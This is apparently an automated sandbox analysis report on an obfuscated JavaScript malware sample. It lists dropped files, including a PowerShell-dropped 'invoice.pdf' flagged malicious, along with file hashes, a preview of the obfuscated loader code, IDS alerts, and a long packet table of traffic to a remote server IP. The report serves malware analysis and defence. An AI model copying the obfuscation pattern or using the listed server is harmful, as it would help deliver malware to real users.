SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f108326f-5a98-4ac5-9619-8eb49675b5df.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17757), with CRLF line terminators
Entropy (8bit):	4.899666048008328
TrID:
File name:	133313712272908537.js
File size:	21'115 bytes
MD5:	352bbe2e69d189d8cfc739371da599de
SHA1:	5319f2701d775ace0b56325f24c59c996fe8ce65
SHA256:	539ed6886e52191759347bf9c282552ef54852090f232b9f4f2a3e7639770fad
SHA512:	6b816fbb14d0b439db788494e47c1dcd0a3c6e601e29250f2ad2c76f831a9c009b16df0f130ed73244a9a95376b9e55653165f8667169d0b393ab22864ee11f5
SSDEEP:	384:upjzYpPEnIbfozceeKbdnH0W8P3OOF23q1xUVTBg0T7:upPYpPFidnUAO/1xUVTBg0T7
TLSH:	87926416D64AC7429CDD18F4863E58F302E510EE06A37DCA3915E688C6C2E5EF7CACB5
File Content Preview:	function pgiemmeuz(){wxikgme=[1031,3079,5127,4103,2055,3072];var vqlcgy=this[occajck+zomtxqsq+qfuckj+lpgshf+gjjpmdx+bcgwb+szufolp+dxell](this[nvfydys+kcscpcma+wxvvwdh+qfuckj+yuderoe+occajck+dxell][jlxsmoe+qfuckj+gjjpmdx+zomtxqsq+dxell+gjjpmdx+qqggkg+pyowf

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:37:20.525311+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49705	193.143.1.205	80	TCP
2025-01-10T22:37:22.710526+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:37:19.745806932 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:19.750910044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:19.751024008 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:19.753998995 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:19.758997917 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.525163889 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.525216103 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.525257111 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.525286913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.525310993 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.525356054 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.525393009 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.525427103 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.525440931 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.525440931 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.525460958 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.525495052 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.525537014 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.525583982 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.525583982 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.530392885 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.530452013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.530489922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.530536890 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.571052074 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.571067095 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.571192980 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.645736933 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.646011114 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.646023035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.646148920 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.646192074 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.646204948 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.646342993 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.646384001 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.646384001 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.646539927 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.646552086 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.646914005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.646924973 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.646935940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.646949053 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.646954060 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.646996021 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.646996021 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.647013903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.647070885 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.647083044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.647171021 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.647182941 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.647206068 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.647206068 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.648044109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.648055077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.648066044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.648104906 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.648104906 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.648200035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.648211956 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.648731947 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.648930073 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.695019960 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.709963083 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.709978104 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.709989071 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.710164070 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.748492956 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.748548985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.748866081 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.766197920 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.766238928 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.766274929 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.766323090 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.766323090 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.766407967 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.766444921 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.766479969 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.766522884 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.766580105 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.766613007 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.766647100 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.766681910 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.766695023 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.766695023 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.767226934 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.767261028 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.767296076 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.767302990 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.767360926 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.767414093 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.767446995 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.767479897 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.767513990 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.767520905 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.767579079 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.768125057 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.768158913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.768194914 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.768234968 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.768304110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.768336058 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.768369913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.768392086 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.768409014 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.768537045 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.768966913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.769000053 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.769037008 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.769067049 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.769099951 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.769134045 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.769167900 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.769179106 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.769179106 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.769263983 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.769396067 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.769779921 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.769813061 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.769846916 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.769897938 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.769932032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.769951105 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.769951105 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.769965887 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.770001888 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.770040035 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.770708084 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.770741940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.770956039 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.795836926 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.795851946 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.795864105 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.795922041 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.795922995 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.795954943 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.795968056 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.796055079 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.834784985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.834836960 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.834872961 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.834908962 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.835061073 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.835061073 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.852821112 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.852833033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.852992058 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.893137932 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.893153906 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.893173933 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.893184900 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.893958092 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.894516945 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.894578934 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.894589901 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.894704103 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.894715071 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.894726038 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.894740105 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.894740105 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.894800901 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.894834042 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.895020008 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.895031929 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.895044088 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.895055056 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.895119905 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.895133018 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.895181894 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.895181894 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.895601034 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.895651102 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.895662069 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.895802021 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.895812988 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.895823002 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.895834923 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.895836115 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.895836115 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.896485090 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.896523952 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.896526098 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.896526098 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.896534920 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.896600962 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.896950006 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.897049904 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.897062063 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.897070885 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.897130013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.897141933 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.897151947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.897155046 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.897155046 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.897231102 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.897696972 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.897753000 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.897763968 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.897800922 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.897800922 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.897901058 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.897912025 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.897923946 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.898032904 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.898075104 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.898075104 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.898636103 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.898646116 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.898663044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.898674965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.898709059 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.898709059 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.898802042 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.898813009 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.898823023 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.899338961 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.899396896 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.899416924 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.899427891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.899467945 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.899467945 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.899545908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.899559021 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.899569035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.899580956 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.899601936 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.899627924 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.900391102 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.900403023 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.900419950 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.900430918 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.900441885 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.900453091 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.900461912 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.900461912 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.900465012 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.901180983 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.901204109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.901215076 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.901217937 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.901245117 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.901245117 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:20.901365995 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:20.901376963 CET	80	49705	193.143.1.205	192.168.2.5
